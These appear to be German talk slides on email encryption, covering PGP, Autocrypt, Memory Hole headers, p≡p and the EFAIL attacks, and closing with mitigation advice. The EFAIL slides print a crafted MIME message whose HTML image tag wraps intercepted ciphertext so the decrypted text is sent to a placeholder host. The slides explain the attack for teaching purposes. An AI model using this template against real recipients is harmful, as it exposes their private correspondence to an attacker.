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Agenda
● Einführung in E-Mail 
● Autocrypt
● Protected Headers
● p≡p – Pretty Easy Privacy

● EFAIL
● „Fälschung“ von Signaturen



Verschlüsselung im Web



Verschlüsselung von Mails
● Komplizierter
● Nur Inhalt
● Viele Metadaten
● Vortrag MacLemon 26.10.2018  »Email, wie 

funktioniert das eigentlich wirklich?«



E-Mail Kurzeinführung
● Umschlag (Envelope)

Header / Metadaten
– Absender, Empfänger
– Betreff
– Etc.

● Brief
– Inhalt (Body)



E-Mail Kurzeinführung
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E-Mail Kurzeinführung



PGP konventionell
● Schlüssel generieren
● Programm(e) einrichten
● Schlüssel hochladen
● Schlüsselaustausch mit Gesprächspartnern
● Schlüsselverifikation



PGP Probleme
● Immer noch Mail
● Metadaten bleiben
● Betreff unverschlüsselt
● Kompliziert



Autocrypt
● Überschneidung mit p≡p
● Autocrypt: header

– Enthält Verschlüsselungspräferenz
– Öffentlicher Schlüssel

● Probleme bei Mailinglisten
● Eventuell ungewollte Präferenzen
● Noch mehr Metadaten
● Kein Schutz gegen Man-In-The-Middle

Autocrypt: addr=sebastian@sebix.at; prefer-encrypt=mutual; keydata=...



Autocrypt
● Integration in bestehende Programme

– Enigmail
– K-9 Mail (Android)
– Delta Chat (Android)



Memory Hole
● Memory Hole Protected E-mail Headers
● Manche Headerdaten im Inhalt
● Erkennung von Modifikationen



Memory Hole
● Betreff:

– Ersetzen (Echter Betreff erst nach dem Entschlüsseln)
– Signieren

● Absender:
– Signieren

● Verwirrung bei Mailinglisten



p p≡
● Pretty Easy Privacy
● Nutzt bestehende Technologien

– Keine neue Kryptographie
– Keine neuen Protokolle

● Ziel: „mass encryption“
● „sane defaults“
● Abstrahierung der technischen Details

– „Privacy Status“



p p≡
● Schlüssel werden automatisch generiert
● Öffentliche Schlüssel werden immer mitgesendet
● Bei Antworten wird automatisch verschlüsselt
● Optionale Verifizierung (zB Telefon)

– Fingerprints → „Trustwords“





p p≡
● Verschlüsselt Betreff
● Automatisches Key Management
● Keine zentrale Infrastruktur
● Optionale Passwörter für Schlüssel
● Synchronisierung (geplant)





● E-Mails wurden unverschlüsselt gesendet
● Betraf Windows+Thunderbird+Enigmail
● ca. 6000 Betroffene / 1 Woche
● Fehler beim Erstellen der veröffentlichten Version

– Automatische Tests wurden verbessert



#EFAIL



#EFAIL
● Manipulation der Nachricht am Weg
● Exfiltration von Klartext beim Empfänger
● Direct Exfiltration
● Crypto Gadgets



From: Alice <alice@example.com>
To: Bob <bob@example.com>
Content-Type: multipart/mixed;
    boundary="----78U9RTBH7EEFRSJP1SKM45UBS3D74Y"
Subject: Privacyweek

------78U9RTBH7EEFRSJP1SKM45UBS3D74Y
Content-Type: text/plain;
 charset=utf-8
Content-Transfer-Encoding: quoted-printable

Hallo,
kommst du heuer wieder zur Privacyweek?

------78U9RTBH7EEFRSJP1SKM45UBS3D74Y--



From: Alice <alice@example.com>
To: Bob <bob@example.com>
Content-Type: multipart/mixed;
    boundary="----78U9RTBH7EEFRSJP1SKM45UBS3D74Y"
Subject: Privacyweek

------78U9RTBH7EEFRSJP1SKM45UBS3D74Y
Content-Type: text/html;
 charset=utf-8
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE html>
<html>
  <head>…

------78U9RTBH7EEFRSJP1SKM45UBS3D74Y--



Content-Type: multipart/mixed;
    boundary="----78U9RTBH7EEFRSJP1SKM45UBS3D74Y"

------78U9RTBH7EEFRSJP1SKM45UBS3D74Y
Content-Type: text/plain;
 charset=utf-8
Content-Transfer-Encoding: quoted-printable

Teil 1

------78U9RTBH7EEFRSJP1SKM45UBS3D74Y
Content-Type: text/plain;
 charset=utf-8
Content-Transfer-Encoding: quoted-printable

Teil 2

------78U9RTBH7EEFRSJP1SKM45UBS3D74Y--



Content-Type: multipart/encrypted;
 protocol="application/pgp-encrypted";
 boundary="RWeu7Fg2HkWhRuwybaum8JrywuRhqibNs"

[...]

--RWeu7Fg2HkWhRuwybaum8JrywuRhqibNs
Content-Type: application/octet-stream; 
name="encrypted.asc"
Content-Description: OpenPGP encrypted message
Content-Disposition: inline; filename="encrypted.asc"

-----BEGIN PGP MESSAGE-----

a29tbXN0IGR1IGhldWVyIHdpZWRlciB6dXIgUHJpdmFjeXdlZWs/

-----END PGP MESSAGE-----

--RWeu7Fg2HkWhRuwybaum8JrywuRhqibNs--



„Backchannel“
● Externe Inhalte in HTML
● Mit Interaktion:

– Link
– Formular

<img src=“https://example.com/tracking.gif“ />
<a href=“https://example.com/tracking“>

<form action=“https://example.com/tracking“>...





Direct Exfiltration
● Man-in-the-Middle-Angriff
● Abgreifen verschlüsselter Nachricht
● E-Mail zusammenstellen aus

– Eigenen Teilen vorne und hinten
– Abgegriffenen Nachricht

● Zusammengesetzt muss dies einen Backchannel
ergeben



Content-Type: multipart/mixed;
 boundary="RWeu7Fg2HkWhRuwybaum8JrywuRhqibNs"

--RWeu7Fg2HkWhRuwybaum8JrywuRhqibNs
Content-Type: text/html

<img src=“https://example.com/

--RWeu7Fg2HkWhRuwybaum8JrywuRhqibNs
Content-Type: application/octet-stream; name="encrypted.asc"
Content-Description: OpenPGP encrypted message

SGllciBzdGVodCBlaCBhYnNvbHV0IG5peCBpbnRlcmVzc2FudGVzIQo=

--RWeu7Fg2HkWhRuwybaum8JrywuRhqibNs
Content-Type: text/html
“>

--RWeu7Fg2HkWhRuwybaum8JrywuRhqibNs--



<img src=“https://example.com/

Geheimes Treffen heute Abend, 19h, 

“>



Crypto Gadgets
● Veränderung der verschlüsselten Nachricht direkt
● Signaturen werden ungültig
● Integritätsschutz:

– Seit ~ 2000
– Fehler muss angezeigt werden



#EFAIL
● Keine kryptografische Schwächen
● Aktuelle Programme verwenden
● Auf Signatur verschlüsselter PGP-Mails achten
● Keine externen Ressourcen laden
● Misslungene Kommunikation im Vorfeld

– Entwickler der Tools kommunizierten nicht untereinander

● GnuPG fühlte sich nicht zuständig
● Thunderbird hätte verlängertes Embargo gebraucht















Fragen?
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